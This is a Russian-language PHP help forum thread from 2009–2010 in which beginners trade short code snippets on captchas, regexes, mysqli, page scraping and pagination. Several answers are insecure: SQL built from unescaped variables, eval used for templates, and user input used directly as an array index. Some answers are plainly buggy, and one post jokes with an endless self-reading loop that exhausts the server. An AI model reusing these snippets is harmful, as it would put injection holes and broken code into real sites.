Рамзес,не очень чтото твой код понял...но вообщем если подумать то и в правду пост когда добавляеться и так в базу подлючаюсь так что наверное буду делать как писал раньше ето и защитит от флуда..

2517. Vitaliy (31.10.09 / 19:52)
2528#
Vantuz,почему после картинки дальше ничего не выводить?и картинка тупо по центру?

2518. Studentsov (31.10.09 / 20:03)
Антифлуд на сессиях - не айс. Я Вантузу предложил как-то, дык он доказал, что это не надежно. Браузер закрываем, потом снова открываем и вперед ).gif

2519. Vitaliy (31.10.09 / 20:07)
ну так что мне с картинкой делать?дайте ктото код норм)

2520. Studentsov (31.10.09 / 20:10)
http://captcha.ru
Скачай скрипт там

2521. phpcoder (31.10.09 / 20:14)
2545. Тут не про антифлуд вообще речь шла, а о защите от повторной отправки.. Я так понял что от случайной повторной отправки

2522. ramzes (31.10.09 / 20:24)
Фактически это одно и то же. Антифлуд выполняет и свою роль и защиту от случайных повторов

2523. Vitaliy (31.10.09 / 20:26)
2547.не!).gif мне только картинку надо).gif

2524. Vitaliy (31.10.09 / 20:30)
а так понемаю тот код вантуза нужно запихнуть в отдельний файл и вивести через ИМГ СРК..но ето не подходит)

2525. Vitaliy (31.10.09 / 21:43)
прокоментируйте ето пожалуйста).gif

<?
header('HTTP/1.0 503 Service Unavailable');
header('Status: 503 Service Unavailable');
header('Retry-After: 30');
die('sleep');
?>

ето что типо через заголовки можно банить юзеров?

2526. Studentsov (31.10.09 / 22:25)
Вот если такой код прописать, то юзера забанятся.
<?php
set_time_limit(0);
while(true)
$file=file_get_contents(basename(__FILE__));
?>
попробуй на досуге D.gif
а если серьезно, то через заголовки ты никого незабанишь. Некоторые их вообще игнорируют

2527. ramzes (01.11.09 / 00:46)
52 хочешь совет? скачай файл проверочного кода из мотора и глянь его код, если мозг есть сразу поймешь как это работает. И не придется больше одно и то же муссолить).gif и все другие варианты кроме каптчи легко обходятся если флудер нормальный).gif , да и ее обходят тоже))

2528. AxqpxA (01.11.09 / 19:27)
Что за беда?
если папка такого вида "1111111" (короче только цифры) то её не удаляет!
хотя нормальные(состоящие из букв) папки удаляет!

rmdir("files/photo_albums/$user[id]/$deletes[dir]");

хотя когда просто прописываю

rmdir("files/photo_albums/1/1111111");

все удаляет!

2529. Studentsov (01.11.09 / 19:59)
<?php
rmdir('files/photo_albums/'.$user['id'].'/'.$deletes['dir']);
?>


2530. Wakko (04.11.09 / 11:18)
Как скрипт может узнать адрес сайта на котором стоит?

2531. phpcoder (04.11.09 / 11:26)
echo $_SERVER['HTTP_HOST'];

2532. Wakko (04.11.09 / 11:31)
Спасиб

2533. Удаленный (04.11.09 / 14:46)
а как универсально отфильтровать компы (юзер агенты )

2534. ramzes (05.11.09 / 16:52)
Подскажите как определись кодировку файла?

2535. lugaro (05.11.09 / 16:56)
2561,
define('LOWERCASE',3);
define('UPPERCASE',1);
function detect_cyr_charset($str) {
$charsets = Array(
'k' => 0,
'w' => 0,
'd' => 0,
'i' => 0,
'm' => 0
);
for ( $i = 0, $length = strlen($str); $i < $length; $i++ ) {
$char = ord($str[$i]);
//non-russian characters
if ($char < 128 || $char > 256) continue;
//CP866
if (($char > 159 && $char < 176) || ($char > 223 && $char < 242))
$charsets['d']+=LOWERCASE;
if (($char > 127 && $char < 160)) $charsets['d']+=UPPERCASE;
//KOI8-R
if (($char > 191 && $char < 223)) $charsets['k']+=LOWERCASE;
if (($char > 222 && $char < 256)) $charsets['k']+=UPPERCASE;


2536. lugaro (05.11.09 / 16:57)
          //WIN-1251
if ($char > 223 && $char < 256) $charsets['w']+=LOWERCASE;
if ($char > 191 && $char < 224) $charsets['w']+=UPPERCASE;
//MAC
if ($char > 221 && $char < 255) $charsets['m']+=LOWERCASE;
if ($char > 127 && $char < 160) $charsets['m']+=UPPERCASE;
//ISO-8859-5
if ($char > 207 && $char < 240) $charsets['i']+=LOWERCASE;
if ($char > 175 && $char < 208) $charsets['i']+=UPPERCASE;
}
arsort($charsets);
return key($charsets);
}


2537. seif (05.11.09 / 22:38)
почему не работает регулярное вырожение?
if(!preg_match("/^[а-яА-Я]+$/", $iname))
если без подавления тогла всё чего бы не ввёл принимает

2538. ramzes (06.11.09 / 00:56)
Лугаро, спасибо.
#64

function prov_log($log){
if(preg_match('|^[a-zа-я0-9\-]+$|iu',$log)){
return TRUE;
}else{
return FALSE;
}
}
if(prov_log($login)){
echo' ok';
}else{ echo'Недопустимые символы'; }

типа того.

2539. DmitryDick (06.11.09 / 01:44)
64, попробуй с модификатором 'u'

2540. Svuaznoy (06.11.09 / 14:25)
Чем можно заменить функцию ftp_connect()?

2541. xass (08.11.09 / 04:29)
Как вирезать

<div class="3">
<a href=""> &#x0421;&#x0435;&#x0440;&#x0432;&#x0438;&#x0441;&#x044B;</a>
<br/>
<a href=""> </a>
</div><br/>
<div class="5.">

от <div class="3"> до </div><br/><div class="5.">
(<div class="3">(.*?)<div class="5."> )

2542. Удаленный (09.11.09 / 15:06)
2568,
$str = str_replace('<div class="3" <a href=""> &#x0421;&#x0435;&#x0440;&#x0432;&#x0438;&#x0441;&#x044B;</a><br/>', '<a href=""> </a> </div><br/>', '<div class="5.">',$str);


2543. xass (10.11.09 / 01:57)
2569, вапше белую страницу начало показивать D.gif

2544. ramzes (10.11.09 / 02:24)
$text=preg_replace('/<div class="\3\">(.*?)<div class="\5\">/si','',$text);


2545. xass (10.11.09 / 17:55)
тоже белую страницу показивает..

2546. ramzes (10.11.09 / 18:27)
Мля тормознул, замени ="\ на =\"
слеши не там поставил))

2547. xass (10.11.09 / 20:33)
еффект 0, не вирезал )
но страница норм сейчас )

2548. ramzes (11.11.09 / 00:34)
Не вырезал значит ты не верные строки дал. Вобщем принцип такой /от куда(.*?)до куда/
соответствия подбирай сам.

2549. xass (11.11.09 / 08:26)
<div class=\"5.\"> а не <div class=\"5\"> )

2550. Fuelen (11.11.09 / 09:25)
2576, точку тоже надо экранировать

2551. ramzes (12.11.09 / 00:54)
Какая разница между mysqli_query()
и mysqli_real_query() ? И есть ли разница во времени выполнения?
3.Ы. Модеры, Может пора уже иметь отдельную топ тему по SQL?
Глупо лепить все в одну кучу

2552. Удаленный (14.11.09 / 10:19)
2578,Разница между выполнением строк. mysql_query(); выполняет в виде строки с 0 окончанием. А mysql_real_query(); в виде фиксированной строки. Время выполнения зависит от запросов. Но mysql_query(); я юзал. Выполняет нормально

2553. Fuelen (14.11.09 / 10:57)
2579, читать научись. MySQLi, а не MySQL

2554. ramzes (14.11.09 / 14:12)
Пардон, но я не понял насчет 'строки с 0 окончанием', это что?:-[ только разбираться начал, описание этой функции даже в гугле и яндексе найти не смог(.gif

2555. Удаленный (14.11.09 / 15:34)
2580,Вафлю завали!!!!

2556. Удаленный (14.11.09 / 15:35)
2581,я про функции твои с окончаннием " i " не знаю

2557. ramzes (14.11.09 / 15:43)
MySQLi это расширение MySQL. Типа новой версии. Они во многом одинаковы.
Так на пальцах, чем отличается одна функция от другой?

2558. Удаленный (15.11.09 / 05:12)
mysqli новое что то! хостинги все работают с этой функцией? не вкурсе

2559. Fuelen (15.11.09 / 10:11)
2585, смотри пхпинфо

2560. ramzes (15.11.09 / 21:32)
if(class_exists('mysqli'){ echo' mysqli extension load';}
на 99.9% он есть. Или просто mysqli_connect();
не скажет что функция неизвестна значит есть.

2561. ramzes (16.11.09 / 02:32)
#85 http://phpclub.ru/detail/article/mysqli
на вот почитай, более менее понятно станет что это и в чем преимущества.

2562. o5tussa (16.11.09 / 19:27)
Привет всем. Нужна помощь. Вот у меня есть сайт я хочу определить скока весить страница ну типа (вес станицы: 2.84кб) как мне это сделать?

2563. Удаленный (16.11.09 / 21:58)
$size = filesize('page.txt');
$size = floor($size/1024);
echo $size; //kb

2564. o5tussa (16.11.09 / 22:14)
Что та не работает(.gif

2565. Удаленный (17.11.09 / 08:45)
2591,

$size=round((ob_get_length()+200)/1024,1);
echo "Вес страницы: ".$size." kb";


2566. DmitryDick (17.11.09 / 12:49)
А в начале скрипта ob_start();

2567. sanzstez (17.11.09 / 21:48)
Кто в курсе почему может вылазить 502 Bad Gateway?

2568. mocart (18.11.09 / 00:06)
Отталкивайся от расшифровки http://snippets.pp.ru/article/39/

2569. LYCIFER (18.11.09 / 11:55)
Кто знает из за чего может быть такое после редактирования?<br><a href=\\\\\\\"{BASEDIR}gallery/?{SID}\\\\\\\">ФОТОГАЛЕРЕЯ</a> (<?=counter_string(BASEDIR.\\\\\\\'local/datagallery/fotobase.dat\\\\\\\')?>)

2570. LYCIFER (18.11.09 / 12:07)
Причем так выглядит вся главная!

2571. zefir (18.11.09 / 13:46)
2596, значит где-то используется addslashes, которое надо убрать или изменить код

2572. LYCIFER (18.11.09 / 15:43)
Это началось с переносом сайта на новый хост!И ни как не могу вывести главную!Её обрезало и всё!

2573. xass (19.11.09 / 14:06)
$name1= "Gey";
$name2 ="Fisherd"; // :D
// нужно вывести так
// G.Fisherd


2574. xass (19.11.09 / 14:56)

$name1 = "Gey";
$name2 = "Fisherd";
echo $name1[0].".".$name2;


2575. zefir (19.11.09 / 18:12)
2599, создай .htaccess файл с содержимым:
php_flag magic_quotes_gpc off
вроде так.
Только так могут возникнуть проблемы с дырами и т.п.
Да и еще, будет работать, если только сервер позволяет ))

2576. zefir (19.11.09 / 18:14)
2601,

<?php
$name1 = "Gey";
$name2 = "Fisherd";
echo substr($name1, 0, 1).'.'.$name2;


2577. chiper (20.11.09 / 15:33)
вообщем такое дело. у нас два файла. index.php и send.php. сейчас мы находимся на индексе допустим и там есть ссылка на сенд. вот как сделать так что бы нажав на ссылку файл сенд выполнился но его не открыло. тоесть мы нажали на ссылку и остались на индексе но сенд выполнился.заранее спс. это для веб чата нужно мне).gif

2578. ramzes (20.11.09 / 15:52)
<?php
this you're code
header("Location: index.php?");
?>

2579. chiper (20.11.09 / 16:31)
05,не браузер будет грузить пхп файл, а мне ненадо это.мне надо остаться на странице

2580. ramzes (20.11.09 / 16:53)
Не будет браузер ни чего грузить. Скрипт выполнится и вернет обратно на индекс и только там уже данные в браузер пойдут. Если ты конечно в сенд.пхп ни чего не выводил на страницу.

2581. chiper (20.11.09 / 17:00)
2607, спс. думаю так оставлю. плюс потом дам)

2582. AxqpxA (20.11.09 / 20:21)
Че то я запутался!
хочу перевести из time() в date()
я прописал
$timedat = date("d.m.Y / H:i", time($theme[time]));
но выводит настоящее время!
....................................
Уже разобрался! Можете не отвечать!
....................................

2583. zefir (20.11.09 / 20:28)
2608, для этого ajax нужен.

2584. ramzes (20.11.09 / 23:39)
Есть переменная с пхп кодом, мне надо заставить код выполнится,
что лучше использовать?
eval() или создавать файл писать в него содержимое переменной и инклудить?

2585. Exwap (20.11.09 / 23:44)
Да нах такими мутками )) евалом та и все )) Хотя смотря какаятам ситуация и что тебе нужно оттого кода в переменной))

2586. ramzes (20.11.09 / 23:53)
Шаблонизатор. В переменной хтмл разметка + переменные с данными. Я так мыслю что евал удобнее т.к. Не надо кеш-файлов, но не знаю по скорости что лучше. Пробывал оба варианта вроде генерация совершенно одинаковая..

2587. Exwap (21.11.09 / 00:02)
Ну евалом проще намного.

2588. ramzes (21.11.09 / 00:05)
Гуд, спасибо).gif так и сделаю тогда.

2589. Alexaz (21.11.09 / 23:24)
Всем привет! такое дело: главная страничка чата, два окошка, первое - для ввода ника или id , второе - для ввода пароля. Под ними две ссылки: одна для входа по нику, вторая для входа по id.
Вопрос: что и как надо переделать в index.php и наверно в enter.php , чтобы в чат можно было входить только по одной ссылке, типа вход???
Т.е. пишу в первом окне ник или id, во втором пароль, жму на вход и я в чате!!!!
P.S. чат под wml

2590. Studentsov (22.11.09 / 01:15)
#2615 Ты каждый раз заново шаблон парсишь? О_о

2591. ramzes (22.11.09 / 01:22)
Всмысле 'каждый раз'? Один раз его взял и в переменную отправил. Если надо посты то переменную блока постов циклом просто пускаю.
Суть вопроса не ясна..

2592. Studentsov (22.11.09 / 01:29)
Ну я имел в виду типа ты обрабатываешь шаблон каждый раз? Вообще по идее надо обрабатывать его один раз, результат в файлик и инклудить его...

2593. ramzes (22.11.09 / 01:51)
Нет. Я его беру один раз, если запросов на поиск блока нет то весь парсю если есть то либо блоки циклом либо весь шаблон и блок(и) циклом до окончания повторений на месте блока в шаблоне.
<-START:theme
<%themeName%>
<%themeAutor%>
хтмл
themeE.gif ND->
<-START:post
<%postAutor%>
(<%postTimd%>)
хтмл
<%postMessage%>
postE.gif ND->
<-START:form
<%formInput%>
хтмл
<%naviPage%>
formE.gifND->
вот где то так примерно. Я без подглядок пишу все сам выдумываю так что где то и лажаю наверное).gif
Фиг знает как обьяснить. Одним словом не смарти).gif мне такой монстр не нужен).gif

2594. Alexaz (22.11.09 / 11:09)
Кто нибудь ответит на мой пост 2616 ??????
вот выкладываю ссылки на эти файлы:
http://upwap.ru/641495
http://upwap.ru/641497

2595. blud (22.11.09 / 14:04)
ребята помогите есть текстовый файл! В нем несколько строк в файле разбил записи вот так | выводу в кодекс так t[0] ;t[1];t[2] все строки выводятся сразу а как сделать чтобы к определенной строке можно было обратится вот таким образом index.php?id=1 первоя строка. index.php?id=2 вторая страка и так дале?

2596. ramzes (22.11.09 / 15:15)
$text = file('file.txt');
echo $text[$_GET['id']];
это что ли?
Че то я не понял сути..

2597. Smash (22.11.09 / 20:32)
прошу прощение за офф топ! У вот учу, учу, учу php, а не как не выучу! А все почему??? Да потому что я читаю книгу Котерова Дмитрия-PHP5. Потому что он пишет очень и очень много лишнего! При изучение переменных не было даже понятно (учуть примеры или нет, или он их будет описывать в следующих главах!). Помогите пожалуйста! Что, мне учить и зубрить дальше или подскажите какой нибудь учебник по лучше!

2598. ramzes (22.11.09 / 21:16)
Читай здесь. Ни чего лишнего. http://php.su
и чужие скрипты копай, незнаю что там котеров пишет, не читал, но все хвалят.

2599. lugaro (22.11.09 / 21:35)
Если в книге пишется про что то значить это нужно учить, нафиг тогда вобще читать.
И книгу лучше подбирать под себя а не слушать других, кому то будет достаточно кратко объяснить а кому то надо росжовывать на нескольких десятках страниц

2600. Smash (22.11.09 / 21:36)
ramzes, просто знаешь как получается! Он писал для тех кто уже имел дело с пыхом(Так высказывались те, кто прочитал книгу!). PHP.SU, помню когда-то там лазил, качал книги, но их не монимал! Может просто глуп был!

2601. Smash (22.11.09 / 21:38)
ramzes, я щас сам залезу, покачаю, если что подскажи какие обязательно надо! [br].::lugaro::., так как определить какая книга мне больше подходит? Я не зраю!

2602. ramzes (22.11.09 / 21:47)
Там не книги, там справочник по функциям пхп, краткое описание разных областей пхп, вступления и т.д.
некоторые начальные знания приобретать придется своим умом, без практики ни одна книга тебя не научит. Возьми начни писать небольшие куски кода, например листинг файлов в папке, чтение и вывод содержимого файла, обработка данных, ну и так далее. По мере необходимости в справочник заглядывай что бы узнать что и как делает та или иная функция. А просто читать книгу.. Это не вариант.. Что бы учить пхп надо писать на нем. Хотя бы мелочи какие ни будь.
// раздел обучение новичков чуть ниже. Там есть несколько полезных тем. И учебников там не мало выкладывали.

2603. lugaro (22.11.09 / 21:47)
Smash, пойди лучше в книжный магазин и возьми нормальную книгу, ну а как подобрать, немного полистай её, почитай, и если то что там написано пойдет легко, бери, просто порой бывает такая дибильная манера написания что в процессе чтения вобше не чего не понятно от той хрени что там написана, много пустословия итд, кстати на рнр.су вроде не чего толкового нет, я имею в веду учебники, а тот матерьял что на сайте самое то

2604. Smash (22.11.09 / 22:05)
Вообще-то практикуюсь на Денвере! Но знаете... что вот не то! просто так писать то что там написано! Заполнять страницу кучами кодов или создавать каждый раз файл под один код тоже не вариант!(Хотя... второй способ можно опробывать!). Вот есть у меня идея, давайте я начну читать занова занова, то о чем прочитал буду выкладывать сдесь! Вы будете давать мне задания (по прочитанной теме), я буду выкладывать результаты!

2605. chiper (22.11.09 / 23:48)
помогите реализовать.
if($id текст а не цифра)
{
$id = 1;
}

Просто незнаю как проверить что содержит переменная айди. Текст или цифры.

2606. ramzes (22.11.09 / 23:58)
if(!is_numeric($id)){
$id = 1;
}

2607. Alexaz (23.11.09 / 02:33)
И тишина! ! ! Меня вообще видно?

2608. lugaro (23.11.09 / 10:34)
2634 а тебе сдесь не кто не чего не должен, захотят помогут захотят не помогут, раз уж запросил на халяву будь добр жди, а не хочеш ждать плати деньги.

2609. ramzes (23.11.09 / 11:07)
'переделайте мне' - с такой темой будешь долго ждать. Тут по конкретной проблеме отвечают а не переделывают скрипты.
if(is_numeric($id_pass)){
//it's id
}else{
//it's login
}
дальше уж сам).gif

2610. Smash (23.11.09 / 11:26)
2631, Давайте??? Или могу На вашем форуме выкладывать если захотите(+накрутка!)! Можите написать в icq! 62996218

2611. chiper (23.11.09 / 12:24)
2633, спасибо. лови плюс).gif

2612. Alexaz (23.11.09 / 12:26)
2635, а значит проблема в деньгах? другого выхода нет? понятно! кому платить? сколько?

2613. myz-tv (23.11.09 / 12:32)
2639,тебе не обязаны помогать, это добровольно. Если хочешь что бы быстро исправили найми кодера.

2614. Alexaz (23.11.09 / 13:45)
А я никого и не обязывал, просто по человечески попросил о помощи! а тут оказывается все только за деньги!

2615. ramzes (23.11.09 / 14:27)
Хорош уже тупить и тему засирать.
#2636 вот тебе ответ был.
Денег с тебя ни кто не требовал не гони, а за работу людям обычно платят в этом мире, ты не в курсе?).gif
бесплатно помогают по желанию. Улови разницу.

2616. sanzstez (23.11.09 / 14:46)
Привет!
Не получатся реализовать закрепление тем в форуме. Помогите плиз алгоритмом или кодом )

2617. ramzes (23.11.09 / 14:55)
Как мы тебе подскажем если ты даже не сказал на чем у тебя форум?

2618. Alexaz (23.11.09 / 15:03)
Ramzes, и на том спасибо!!!

2619. sanzstez (23.11.09 / 15:57)
44,Да блин самое главное забыл , гг
Форум на SQLite, но код на мускуле подойдет - переделаю

2620. ramzes (23.11.09 / 16:21)
ORDER BY fix DESC, ORDER BY last_time DESC
вроде так).gif

2621. Fuelen (23.11.09 / 18:08)
Второй раз ордер бай ненадо

2622. Fuelen (23.11.09 / 18:09)
Типа так ORDER BY fix DESC, time DESC

2623. sanzstez (23.11.09 / 18:57)
О, спс, мужики с меня по + )

2624. ramzes (23.11.09 / 19:27)
#48 вот сколько раз использовал и каждый раз забываю и пишу сначала не верно).gif

2625. blud (25.11.09 / 15:26)
доброго времени суток подскажите возможно ли форму поиска ограбить?например с 7ба если можно то как подскажите пожалуйста

2626. Удаленный (25.11.09 / 16:07)
2652,Конечно можно,советую ставить маски прокси для этого,просто не вырезай форму и всё она ограбится вместе с страницей!

2627. asov (01.12.09 / 12:27)
подскажите плз как направить ie на index.html при невозможности открыть index.xhtml на примере tegos.ru?

2628. Nefi (01.12.09 / 12:42)
2654. asov, может лучше IE нужный заголовок отдать?
Типа этого что то:

if (strpos($_SERVER['HTTP_ACCEPT'],"xhtml")=== false){
header("Content-type:text/html; charset=UTF-8");
}else{
header("Content-type:application/xhtml+xml; charset=utf-8");
}
?>


2629. chiper (01.12.09 / 15:04)

function bbcode($bb)
{
$bb=str_ireplace("[url=","<a href='",$bb);
$bb=str_ireplace("]","'>",$bb);
$bb=str_ireplace("[/url]","</a>",$bb);
return $bb;
}
$text = '[url=h.ttp://site.ru]Название[/url]';
echo bbcode($text);

выводит вот такой код <a href='h.ttp://site.ru'>Название[/url'>
а название ссылки вот такое получается Название[/url'>. помогите плиз сделать что бы все нормально работало).gif
точку в http уберите. а то фигня получается)

2630. ramzes (01.12.09 / 17:15)

function url_replace($m){
if(!isset($m[3])){
return '<a href="'. $m[1].'">'.$m[2].'</a>';
}else{
return '<a href="'.$m[3].'">'.$m[3].'</a>';
}}
function bb($message){
$message = preg_replace_callback('~\\[url=(http://.+?)\\](.+?)\\[/url\\]|(http://(www.)?[0-9a-z\.-]+\.[0-9a-z]{2,6}[0-9a-zA-Z/\?\.\~&amp;_=/%-:#]*)~', 'url_replace', $message);
return $message;
}


2631. ramzes (03.12.09 / 14:56)
$connect = imap_open("{mail.smartoff.net:26}INBOX",$mailUser,$mailPass);
подскажите почему не соединяется? (сервер и порт были указаны при создании ящика в ц-панели)
вешает сайт на пару минут и все, больше ни какой реакции(.gif

2632. Удаленный (04.12.09 / 14:22)
2268,Хоть бы весь код выложил)

$mbox = imap_open ("{your.imap.host:143}", "username", "password");
echo "<p><h1>Mailboxes</h1>\n";
$folders = imap_listmailbox ($mbox, "{your.imap.host:143}", "*");
if ($folders == false) {
echo "Call failed<br>\n";
} else {
while (list ($key, $val) = each ($folders)) {
echo $val."<br>\n";
}
}
echo "<p><h1>Headers in INBOX</h1>\n";
$headers = imap_headers ($mbox);
if ($headers == false) {
echo "Call failed<br>\n";
} else {
while (list ($key,$val) = each ($headers)) {
echo $val."<br>\n";
}
}
imap_close($mbox);

пример....

2633. Miks (06.12.09 / 00:55)
Народ! Подскажите пожалуйста как делать что бы скрипты которые я устанавливая себе на сайт отображались не отдельно как они есть, а что бы они выглядели в теме. То есть какая тема стоит то что бы и скрипт так же выглядел. Например как сделать что бы вот этот скрипт отображался так же как и тема? http://eropark.org/email/? С уважением Макс :-)

2634. AxqpxA (06.12.09 / 03:19)
что не так?

$ufile = file(BASEDIR."local/profil/$uz.prof");
$udata = explode(":||:",$ufile[0]);
$udata[10]++;
for ($u=0; $u<$config_userprofkey; $u++){
$utext.=$udata[$u].':||:';}
if($udata[0]!="" && $udata[1]!="" && $udata[4]!="" && $utext!=""){
$fp=fopen(BASEDIR."local/profil/$uz.prof","a+");
flock ($fp,LOCK_EX);
ftruncate ($fp,0);
fputs($fp,$utext);
fflush ($fp);
flock ($fp,LOCK_UN);
fclose($fp);
unset($utext);
}


2635. Fuelen (06.12.09 / 09:54)
2661. AxqpxA, попробуй перед циклом написать $utext=NULL;

2636. DmitryDick (06.12.09 / 11:12)
2660, вручную подгонять под свой диз

2637. ramzes (08.12.09 / 18:00)
#59 ну и что ты мне с пхп.су скопировал?))
это я и сам знаю.
На хосте этот код просто ошибку выдаст о сертификате. Все уже разобрался.

2638. seif (08.12.09 / 21:29)
имеется такая строчка
echo "<p>".teg(htmlspecialchars(highlight_string($myrow["text"]),true))."</p>";
в этой строке отказывается работать функция teg если убрать подсветку кода highlight_string тогда функция teg работает.
в чём проблема?

2639. DmitryDick (08.12.09 / 22:50)
функцию teg покажи, телепатоф нету =)

2640. seif (08.12.09 / 22:55)
2666. dont give me names,

function teg($text)
{
$text = preg_replace('#\[br\](.*?)#si','<br>\1', $text);
$text = preg_replace('#\[p\](.*?)\[/p\]#si','<p>\1</p>', $text);
$text = preg_replace('#\[i\](.*?)\[/i\]#si', '<i>\1</i>', $text);
$text = preg_replace('#\[u\](.*?)\[/u\]#si', '<u>\1</u>', $text);
$text = preg_replace('#\[b\](.*?)\[/b\]#si', '<b>\1</b>', $text);
return $text;
}


2641. ramzes (09.12.09 / 06:00)
Реально ли создать почтовый аккаунт на хосте средствами php?

2642. lugaro (09.12.09 / 06:10)
можно попробовать curl'лом зайти в панель и создать

2643. DmitryDick (09.12.09 / 13:08)
2667. Серёга Л, оО. Хз, попробуй добавить модификатор 'u'

2644. ramzes (09.12.09 / 17:11)
#65 поменяй местами, начала бб коды потом подсветка кода. Должно помочь. Там вроде некоторые знаки конвертируются, по этому и не находит тегов функция. Могу ошибаться правда.

2645. Fuelen (09.12.09 / 17:25)
2665, echo "<p>".teg(htmlspecialchars(highlight_string($myrow["text"],true)))."</p>";

2646. seif (09.12.09 / 19:41)
2672. Fuelen, и тебе спасиб. на php.su уже подсказали

2647. ramzes (11.12.09 / 16:55)
Как разобрать тело письма? (е-мейл).
есть короче содержимое: текст сообщения, кодировка, миме тип, хидер, и файл закодированый в base64().
Есть ли готовые функции для разбора письма?
Желательно из набора функций для работы с imap протоколом..
Надо определить наличие файла в теле письма, формат, имя, и воссоздать его на сервере. Воть. Может кто знаком с этим?

2648. FrEEz (11.12.09 / 16:56)
подскажите как в грабе убрать картинку?

2649. ramzes (11.12.09 / 17:03)
 $text = preg_replace('|<img(.*?)alt=\"\">|s','',$text); 


2650. FrEEz (11.12.09 / 17:10)
2676. ramzes, спасиб, попробую)

2651. xass (12.12.09 / 18:40)
как проверить string, содержит ли он запрещение симболи.
допустимие симболи A-Z a-z 0-9

2652. lugaro (12.12.09 / 18:47)
2678. xass, http://php.su/functions/?f=preg_match&choice=info

2653. ramzes (12.12.09 / 18:50)
if(preg_match('|^[a-z0-9]+$|i',$string)){ echo'okey'; }else{ echo' bad request'; }
вообще юзайте поиск по форуму. Уже много раз писали эту регулярку.

2654. AxqpxA (13.12.09 / 11:55)
Короче вот я сделал вывод статистики

<?php
require_once"db.php";
$stats = mysql_query("SELECT * FROM `stat`");
$stat = mysql_fetch_array($stats);
echo "(".$stat['forum']." / ".$stat['under']." / ".$stat['theme']." / ".$stat['post'].")";
?>

короче я х.з почему, но в любом случае оно не хочет выводить!
а если вообще пишу не include_once""; а просто include""; то мне выдает что нет соединения с базой! хотя я это соединение использую на форуме, и оно нормально работает!
впервый раз сталкиваюсь с таким!

2655. xass (13.12.09 / 12:27)
дайте готовий php,mysql paging код
ссылки чтоби били =)
1 2 3 ... 17 18


2656. lugaro (13.12.09 / 12:30)
2682. xass, http://visavi.net/forum/topic.php?tid=3797&

2657. sanzstez (14.12.09 / 14:42)
А как сохранить картинку на хосте которую мы обработали скриптом?
Ну например загрузили -> увеличили -> сохранили на хост, а то каждый раз создавать новую это ппц

2658. lugaro (14.12.09 / 15:12)
в $img твоя картинка обработаная
imageGIF($img, 'куда сохранить')

2659. sanzstez (14.12.09 / 16:22)
Во, спс. это то что надо ).gif

2660. Удаленный (14.12.09 / 20:11)
Вот есть граб wapos'a http://merdis.ru/themes/ как убрать ссыль (wap 1) она изменяеться на каждой теме?

2661. Удаленный (15.12.09 / 06:19)
Devline (14.12.09 / 20:11)
Вот есть граб wapos'a http://merdis.ru/themes/ как убрать ссыль (wap 1) она изменяеться на каждой теме?

не вижу не какого линка wap 1

2662. xass (17.12.09 / 12:18)

if ((mysql_query("SELECT COUNT (*) FROM `user_atsk` WHERE `user_id`='".$id."'"))<0)
{
echo 'Lietotājam nav atskaišu!';
echo '</td>';
require_once('footer.php');
exit;
}

Где ошибка?

2663. Удаленный (17.12.09 / 14:20)
xass (Сегодня / 12:18)

if ((mysql_query("SELECT COUNT (*) FROM `user_atsk` WHERE `user_id`='".$id."'"))<0)
{
echo 'Lietotājam nav atskaišu!';
echo '</td>';
require_once('footer.php');
exit;
}

Где ошибка?

Ты хоть бы написал какая ошибка и.т.д! я вижу одну пока ошибку это нет табличного тега стоит закрытие его только </td>

2664. Удаленный (17.12.09 / 14:22)

if ((mysql_query("SELECT COUNT (*) FROM `user_atsk` WHERE `user_id`='".$id."'"))<0);
{
echo '<td>';
echo 'Lietotājam nav atskaišu!';
echo '</td>';
require_once('footer.php');
exit;
}
пробуй 2 ошибке было


2665. xass (17.12.09 / 14:27)
ггг) НЕТ!
нужно правельний COUNT из таблици получить

2666. xass (17.12.09 / 14:37)

$sql = "SELECT count(*) as numRows FROM `user_atsk` WHERE `user_id`='".$id."' ";
$query = mysql_query($sql);
$aRow = mysql_fetch_array($query);


2667. Удаленный (17.12.09 / 14:43)
2692,ну так бы и обьяснил блин что да как,mysql_query посылает запрос вот и смотри строку запрос пропиши mysql_error через or die .

2668. Удаленный (17.12.09 / 14:53)
2693,
$s = mysql_fetch_row(mysql_query("SELECT COUNT(*) FROM `user_atsk` WHERE `user_id`='"$id."'"));
echo $s[0];


2669. xass (17.12.09 / 15:07)
User (Сегодня / 14:53)
2693,
$s = mysql_fetch_row(mysql_query("SELECT COUNT(*) FROM `user_atsk` WHERE `user_id`='"$id."'"));
echo $s[0];


$s=mysql_fetch_array(mysql_query("SELECT count(*) as numRows FROM `user_atsk` WHERE `user_id`='".$id."'"));
)
давно етим уже разобрался )) 2693 пост тоже работает на 10 )

2670. Удаленный (17.12.09 / 15:12)
2698,давно разобрался а сейчас спросил D.gif

2671. dosma (17.12.09 / 16:31)
Не могли бы дать php код для снятия скриншота с swf файлов. ато гугл не смог помочь.. для зц дцмс

2672. Gendalf (21.12.09 / 16:16)
dosma, такого нет

2673. Exwap (21.12.09 / 16:40)
Хмм врядли,должен быть... Пых работает с флэш файлам,надо рытся в этих функциях.

2674. Diablo (24.12.09 / 15:08)
Народ подскажите как сделать так чтоб скрипт по ссылке например http://сайт.ру выдавал юрел куда переадресация идет, http://сайт.ру/index.php

2675. Удаленный (24.12.09 / 15:47)
2701,

//в шапке
$url = "site.ru";
header("location: $url");
//в самой странице:
echo 'Переадрисация пойдёт на $url';


2676. Удаленный (24.12.09 / 16:00)
2701,
или вот по времени редирект

//в шапке
$sec = "10";
$url = "site.ru";
header("Refresh: $sec; Location: $url");
//в самой странице:
echo 'Переадрисация пойдёт на сайт '.$url.' через '.$sec.' сукунд';


2677. Aligan (24.12.09 / 19:45)
User, так ведь Diablo имеет ввиду скорее всего что заранее не известно. Тут нужно переменную сервера GET - запросом передавать

2678. Удаленный (25.12.09 / 14:46)
2704,лучше этого не делать тогда либо переходить черех мета тег,и к тому же фильтровать сессию ОБЯЗАТЕЛЬНО!

2679. Aligan (25.12.09 / 21:36)
Причем тут сессия?

2680. NightStalker (30.12.09 / 06:02)
Oбьяcнитe зa фунkции c пepeмeнными apгумeнтaми. Kakoв иx cинтakcиc и kak paбoтaть? fun_get_args знaю ecть. Чe oнa вepнeт?

2681. lugaro (30.12.09 / 06:07)
2707. NightStalker, может ты имеешь в веду func_get_args ?

2682. leshara (01.01.10 / 20:48)
Подскажите код который открывает текстовый файл, и разбивает его содержимое по страницам. Например по 20 строк на страницу.

2683. ramzes (01.01.10 / 21:38)
<?
$step = 20;
$file = file('text.txt');
$total = count($file);
$page = isset($_GET['page']) ? abs(intval($_GET['page'])) : 0;
if(($page+$step) > $total){
$next = $total;
}else{
$next = $page+$step;
}
